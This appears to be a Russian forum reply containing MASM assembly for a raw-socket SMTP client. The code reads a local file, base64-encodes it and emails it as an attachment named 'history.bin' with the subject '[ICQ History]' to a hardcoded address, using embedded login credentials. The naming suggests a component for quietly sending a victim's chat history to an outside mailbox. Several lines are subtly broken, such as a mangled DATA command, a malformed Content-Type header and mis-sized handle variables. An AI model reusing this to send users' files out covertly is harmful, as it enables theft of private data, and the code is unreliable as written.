А может ему действительно на асьме
base64.asm
.code
b64_encode proc uses esi edi ebx lpSrc, lpDst, dwSrcLen: DWORD
mov esi, lpSrc
mov edi, lpDst
mov ecx, dwSrcLen
xor ebx, ebx
@l:
jecxz @b64_ret
lodsb
shl eax, 16
cmp ecx, 1
jz @work
lodsb
shl ax, 8
cmp ecx, 2
jz @work
lodsb
@work:
; Output b64 quad
mov edx, eax
ror edx, 24
push ecx
push 4
pop ecx
@@:
call @b64_write
loop @B
pop ecx
inc ebx
cmp ebx, 18
je @F
xor ebx, ebx
;mov ax, 0A0Dh
;stosw
@@: sub ecx, 3
jns @l
; Pad
neg ecx
sub edi, ecx
mov al, '='
rep stosb
@b64_ret:
ret
@b64_write:
rol edx, 6
mov eax, edx
and al, 00111111b
cmp al, 62
jae @write_spec
cmp al, 52
jae @write_number
; Uppercase
add al, 'A'
cmp al, 'A' + 26
jb @write
; Lowercase
add al, 6
jmp @write
; Number
@write_number:
add al, '0'-52
jmp @write
; Special: +/
@write_spec:
sub al, 62
shl al, 2
add al, 43
@write:
stosb
retn
b64_encode endp
smtp.asm
.486
.model flat, stdcall
option casemap: none
include smtp.inc
include base64.asm
include smtp_fn.asm
SendMail PROTO
.code
start:
invoke GetModuleFileName, NULL, offset szFile, MAX_PATH
invoke WSInit
test eax, eax
jnz @end
invoke SendMail
@end:
invoke ExitProcess, 0h
SendMail proc
LOCAL lpMail: DWORD
invoke WSConnect, offset hSock, offset szSMTPName, 25d
invoke WSRecv
cmp eax, " 022" ; 220 mail.ru ESMTP Wed, 06 Jul 2005 21:31:09 +0400
jne @do_close_sock
; ------------------
comment ^ =============================================================================
invoke WSSend, offset szHELO
invoke WSRecv
cmp eax, " 052" ; 250 PIPELINING
jne @do_close_sock
; ------------------
comment ^ =============================================================================
invoke WSSend, offset szAUTH
invoke WSRecv
cmp eax, " 052" ; 250 PIPELINING
jne @do_close_sock
; ------------------
invoke WSSend, offset szLOGIN
invoke WSRecv
cmp eax, " 433" ; 334 Username
jne @do_close_sock
; ------------------
invoke WSSend_b64, offset szUserLogin
invoke WSRecv
cmp eax, " 433" ; 334 Password
jne @do_close_sock
; ------------------
invoke WSSend_b64, offset szUserPassword
invoke WSRecv
cmp eax, " 532" ; 235 Authentication succeeded
jne @do_close_sock
;comment ^ =============================================================================
; ------------------
invoke memAlloc, 0FFh
mov lpMail, eax
invoke wspf, lpMail, offset szMAILFROM, offset szFromMail ;szUserMail
invoke WSSend, lpMail
invoke WSRecv
cmp eax, " 052" ; 250 OK
jne @do_close_sock
; ------------------
invoke memFill, lpMail, 0h, 0FFh
invoke wspf, lpMail, offset szRECPTTO, offset szUserMail
invoke WSSend, lpMail
invoke WSRecv
cmp eax, " 052" ; 250 Accepted
jne @do_close_sock
invoke memFree, lpMail
push 0h
pop lpMail
; ------------------
invoke WSSend, offset szDATA
invoke WSRecv
cmp eax, " 453" ; 354 Enter message, ending with "." on a line by itself
jne @do_close_sock
; ------------------
invoke CreateMIMEMessage, offset szFile, offset szText
mov lpMail, eax
invoke WSSend, eax
invoke memFree, lpMail
invoke WSRecv
cmp eax, " 052" ; 250 OK id=XXXXXX-XXXXXX-XX
jne @do_close_sock
invoke MessageBox, 0, offset szText,0,0
@do_close_sock:
cmp lpMail, 0h
jz @F
invoke memFree, lpMail
@@: invoke closesocket, hSock
@do_cleanup:
invoke WSACleanup
ret
SendMail endp
end start
smtp.inc
include windows.inc
include kernel32.inc
include user32.inc
include ws2_32.inc
includelib kernel32.lib
includelib user32.lib
includelib ws2_32.lib
.data
szSMTPName db "smtp.pochta.ru", 0h
szUserMail db "user@fromru.com", 0h
szFromMail db "from@hotbox.ru", 0h
szUserLogin db "from@hotbox.ru", 0h
szUserPassword db "password", 0h
;szHELO db "HELO mail.ru", 0Dh, 0Ah, 0h
szAUTH db "EHLO AUTH", 0Dh, 0Ah, 0h
szLOGIN db "AUTH LOGIN", 0Dh, 0Ah, 0h
szMAILFROM db "MAIL FROM: %s", 0Dh, 0Ah, 0h
szRECPTTO db "RCPT TO: %s", 0Dh, 0Ah, 0h
szDATA db " ATA", 0Dh, 0Ah, 0h
szBoundary db "-------6963715F68697374", 0h
; szFromMail, szUserMail, szBoundary, szBoundary, text, szBoundary, bin_file, szBoundary
szMIMEPattern db "From: =?Windows-1251?Q?=5B=49=43=51=20=48=69=73=74=6F=72=79=5D?= <%s>", 0Dh, 0Ah
db " To: %s", 0Dh, 0Ah
db "Subject: [ICQ History]", 0Dh, 0Ah
db "MIME-Version: 1.0", 0Dh, 0Ah
db "Content- Type: multipart/mixed;", 0Dh, 0Ah
db ' boundary="%s"', 0Dh, 0Ah, 0Dh, 0Ah
db "--%s", 0Dh, 0Ah
db "Content- Type: text/plain; charset=Windows-1251", 0Dh, 0Ah
db "Content-Transfer-Encoding: 8bit", 0Dh, 0Ah, 0Dh, 0Ah
db "%s", 0Dh, 0Ah
db "--%s", 0Dh, 0Ah
db 'Content-Type: application/x-msdownload; name="history.bin"', 0Dh, 0Ah
db "Content-transfer-encoding: base64", 0Dh, 0Ah
db 'Content-Disposition: attachment; filename="history.bin"', 0Dh, 0Ah, 0Dh, 0Ah
db "%s", 0Dh, 0Ah, 0Dh, 0Ah
db "--%s--", 0Dh, 0Ah
db ".", 0Dh, 0Ah, 0h
szText db "hello from smtp_test", 0h
.data?
hSock dd ?
szFile db MAX_PATH dup(?)
smtp_fn.asm
.code
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; Функции работы с кучей (собственно только функции переименовал)
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
memAlloc proc dwSize: DWORD
invoke GetProcessHeap
invoke HeapAlloc, eax, HEAP_ZERO_MEMORY, dwSize
ret
memAlloc endp
memFree proc lpMem: DWORD
invoke GetProcessHeap
invoke HeapFree, eax, 0h, lpMem
ret
memFree endp
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; Функции общего назначения
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
strLen proc lpString: LPSTR
mov eax, lpString
or eax, eax
jz @ret
dec eax
@@:
inc eax
cmp byte ptr [eax], 0h
jnz @B
sub eax, lpString
@ret:
ret
strLen endp
memFill proc uses edi lpMem: DWORD, btChar: DWORD, dwSize: DWORD
mov edi, lpMem
mov eax, btChar
mov ecx, dwSize
rep stosb
ret
memFill endp
wspf proc C uses esi edi hMem: DWORD, lpFrmt: DWORD, etc: VARARG
mov esi, lpFrmt
mov edi, hMem
cmp byte ptr [esi], 0h
jz @exit_loop
xor ecx, ecx
dec esi
dec edi
@loop:
inc esi
inc edi
mov al, byte ptr [esi]
mov byte ptr [edi], al
cmp byte ptr [esi + 1h], 0h
jz @exit_loop
cmp word ptr [esi], "s%"
jne @loop
mov edx, dword ptr [ebp + ecx * 4h + 10h]
@@: cmp byte ptr [edx], 0h
jz @nxt_loop
mov al, byte ptr [edx]
mov byte ptr [edi], al
inc edx
inc edi
jmp @B
@nxt_loop:
inc ecx
inc esi
dec edi
jmp @loop
@exit_loop:
ret
wspf endp
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; Network stuff
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
comment +
WSInit возвращает 0 если все успешно завершено
comment +
WSInit proc
LOCAL WD: WSADATA
invoke WSAStartup, 101h, addr WD
test eax, eax
jnz @ret
cmp WD.wVersion, 101h
je @ret
inc eax
@ret:
ret
WSInit endp
comment +
WSConnect возвращает 0 если все успешно завершено, по адресу в out_hSocket пишет
идентификатор открытого сокета...
comment +
WSConnect proc out_hSocket: DWORD, lpSMTP_Name: DWORD, dwPort: DWORD
LOCAL s_addr: sockaddr_in
invoke memFill, addr s_addr, 0h, sizeof sockaddr_in
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
mov edx, out_hSocket
mov dword ptr [edx], eax
inc eax
jnz @F
inc eax ; Ошибка создания сокета
jmp @ret
@@: invoke gethostbyname, lpSMTP_Name
test eax, eax
jz @close_sock
mov eax, dword ptr [eax][hostent.h_list] ; Указатель на список
mov eax, dword ptr [eax] ; Указатель на IP
push dword ptr [eax] ; IP адрес
invoke htons, dwPort
mov s_addr.sin_family, AF_INET
mov s_addr.sin_port, ax
pop s_addr.sin_addr
mov edx, out_hSocket
mov edx, dword ptr [edx]
invoke connect, edx, addr s_addr, sizeof s_addr
test eax, eax
jnz @close_sock
xor eax, eax ; Прошли успешно
jmp @ret
@close_sock:
mov eax, out_hSocket
invoke closesocket, dword ptr [eax]
xor eax, eax
inc eax ; Ошибка возвр. значение не должно быть 0
@ret:
ret
WSConnect endp
WSSend proc lpString: DWORD
invoke strLen, lpString
invoke send, hSock, lpString, eax, 0h
ret
WSSend endp
WSSend_b64 proc lpString: DWORD
LOCAL hMemory:   WORD,
szLen:   WORD
invoke strLen, lpString
push eax ; b64_encode size of data
inc eax
add eax, eax
invoke memAlloc, eax
mov hMemory, eax
push hMemory
push lpString
call b64_encode
invoke strLen, hMemory
add eax, hMemory
mov word ptr [eax][0h], 0A0Dh
invoke WSSend, hMemory
invoke memFree, hMemory
ret
WSSend_b64 endp
WSRecv proc
LOCAL szReturn: DWORD,
szBuffer: BYTE
@start:
invoke recv, hSock, addr szReturn, 4h, 0h
inc eax
jz @err ; SOCKETERROR
cmp eax, 5h
jne @err ; DataSize = 4
@@: invoke recv, hSock, addr szBuffer, 1h, 0h
cmp eax, 1h
jne @err
cmp szBuffer, 0Ah
jne @B
lea eax, [szReturn][3h]
cmp byte ptr [eax], 20h
jne @start
mov eax, szReturn
jmp @ret
@err:
xor eax, eax
@ret:
ret
WSRecv endp
CreateMIMEMessage proc lpFileName: DWORD, lpText: DWORD
LOCAL hFile:   WORD,
LOF:   WORD
LOCAL hMem: DWORD,
hMem64: DWORD
invoke memFill, addr hMem64, 0h, 4h * sizeof DWORD
xor edx, edx
invoke CreateFile, lpFileName, GENERIC_READ, edx, edx, OPEN_EXISTING, edx, edx
mov hFile, eax
inc eax ; INVALID_HANDLE_VALUE
jz @free_mem
invoke GetFileSize, hFile, NULL
mov LOF, eax
test eax, eax
jz @free_mem
invoke memAlloc, LOF
mov hMem, eax
push LOF
invoke ReadFile, hFile, hMem, LOF, addr LOF, NULL
pop eax ; Size of read data
cmp eax, LOF
jne @free_mem
mov LOF, eax
mov eax, 2h
mul LOF
invoke memAlloc, eax
mov hMem64, eax
invoke b64_encode, hMem, hMem64, LOF
invoke memFree, hMem
invoke strLen, hMem64
mov LOF, eax
invoke strLen, offset szMIMEPattern
add eax, eax
add LOF, eax
invoke memAlloc, LOF
mov hMem, eax
invoke wspf, hMem, offset szMIMEPattern, offset szFromMail, offset szUserMail,
offset szBoundary, offset szBoundary, lpText, offset szBoundary, hMem64, offset szBoundary
jmp @F
@free_mem:
cmp hMem, 0h
jz @F
invoke memFree, hMem
push 0h
pop hMem
@@: cmp hMem64, 0h
jz @F
invoke memFree, hMem64
@@: cmp hFile, INVALID_HANDLE_VALUE
je @ret
invoke CloseHandle, hFile
mov eax, hMem
@ret:
ret
CreateMIMEMessage endp
Ответить
|